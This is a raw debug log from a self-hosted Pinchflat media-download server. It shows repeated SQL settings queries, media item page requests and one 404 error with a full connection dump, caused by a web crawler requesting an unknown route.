,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5137652, 5137678, 5137744, 5137804, 5137864, 5137925, 5137985, 5138046, 5138106, 5138166, 5138226, 5138286, 5138346, 5138406, 5138466, 5138526, 5138586, 5138646, 5138706, 5138767, 5138827, 5138887, 5138947, 5139007, 5139067, 5139127, 5139187, 5139247, 5139307, 5139367, 5139427, 5139487, 5139547, 5139607, 5139667, 5139727, 5139787, 5139847, 5139907, 5139967, 5140027, 5140087, 5140148, 5140208, 5140268, 5140328, 5140388, 5140448, 5140508, 5140568, ...] 17:42:21.405 [debug] QUERY OK source="settings" db=0.1ms idle=594.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:21.405 [debug] QUERY OK source="settings" db=0.0ms idle=91.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:21.406 [debug] QUERY OK source="settings" db=0.0ms idle=91.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:21.406 [debug] QUERY OK source="media_profiles" db=0.0ms idle=66.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:42:21.469 [info] Sent 200 in 155ms 17:42:21.812 [info] GET /sources/1/media/1575026/edit 17:42:21.812 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1575026", "source_id" => "1"} Pipelines: [:browser] 17:42:21.813 [debug] QUERY OK source="media_items" db=0.1ms idle=407.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1575026] 17:42:21.813 [debug] QUERY OK source="settings" db=0.0ms idle=407.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:21.813 [debug] QUERY OK source="settings" db=0.0ms idle=407.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:21.813 [debug] QUERY OK source="settings" db=0.0ms idle=407.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:21.814 [info] Sent 200 in 1ms 17:42:23.363 [info] GET /sources/45/force_metadata_refresh 17:42:23.363 [debug] QUERY OK source="settings" db=0.1ms idle=915.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:23.363 [debug] QUERY OK source="settings" db=0.0ms idle=16.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:23.363 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:42:23.363 [error] #PID<0.30874.0> running PinchflatWeb.Endpoint (connection #PID<0.30873.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/45/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/45/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30873.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/45/force_metadata_refresh", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 42230}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30874.0>, params: %{}, path_info: ["sources", "45", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.89"} ], request_path: "/sources/45/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz9vcnO20lmGF4AB1mh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30873.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/45/force_metadata_refresh", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 42230}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/45/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30873.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/45/force_metadata_refresh", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 42230}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30874.0>, params: %{}, path_info: ["sources", "45", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217. (truncated) 17:42:23.626 [info] GET /sources/28/media/1577888 17:42:23.626 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1577888", "source_id" => "28"} Pipelines: [:browser] 17:42:23.627 [debug] QUERY OK source="media_items" db=0.1ms idle=280.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577888] 17:42:23.627 [debug] QUERY OK source="tasks" db=0.1ms idle=280.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1577888] 17:42:23.627 [debug] QUERY OK source="sources" db=0.1ms idle=263.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 17:42:23.627 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=264.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [5258529] 17:42:23.627 [debug] QUERY OK source="settings" db=0.0ms idle=178.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:23.628 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:23.628 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:23.628 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:42:23.629 [info] Sent 200 in 2ms 17:42:24.129 [info] GET /sources/1/media/1575027/edit 17:42:24.129 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1575027", "source_id" => "1"} Pipelines: [:browser] 17:42:24.129 [debug] QUERY OK source="media_items" db=0.1ms idle=502.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1575027] 17:42:24.130 [debug] QUERY OK source="settings" db=0.0ms idle=502.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:24.130 [debug] QUERY OK source="settings" db=0.0ms idle=502.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:24.130 [debug] QUERY OK source="settings" db=0.0ms idle=502.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:24.131 [info] Sent 200 in 1ms 17:42:24.629 [info] GET /sources/28/media/1574603 17:42:24.629 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1574603", "source_id" => "28"} Pipelines: [:browser] 17:42:24.630 [debug] QUERY OK source="media_items" db=0.1ms idle=499.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1574603] 17:42:24.630 [debug] QUERY OK source="tasks" db=0.1ms idle=500.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1574603] 17:42:24.630 [debug] QUERY OK source="sources" db=0.1ms idle=499.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 17:42:24.630 [debug] QUERY OK source="settings" db=0.0ms idle=499.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:24.630 [debug] QUERY OK source="settings" db=0.0ms idle=180.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:24.631 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:24.631 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:42:24.632 [info] Sent 200 in 2ms 17:42:25.131 [info] GET /sources/1/media/1575033 17:42:25.131 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1575033", "source_id" => "1"} Pipelines: [:browser] 17:42:25.132 [debug] QUERY OK source="media_items" db=0.1ms idle=501.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1575033] 17:42:25.132 [debug] QUERY OK source="sources" db=0.0ms idle=501.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:42:25.228 [debug] QUERY OK source="tasks" db=96.4ms idle=501.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1575033] 17:42:25.701 [info] GET /sources/1/media/1575029 17:42:25.701 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1575029", "source_id" => "1"} Pipelines: [:browser] 17:42:25.702 [debug] QUERY OK source="media_items" db=0.1ms idle=569.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1575029] 17:42:25.702 [debug] QUERY OK source="sources" db=0.1ms idle=473.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", 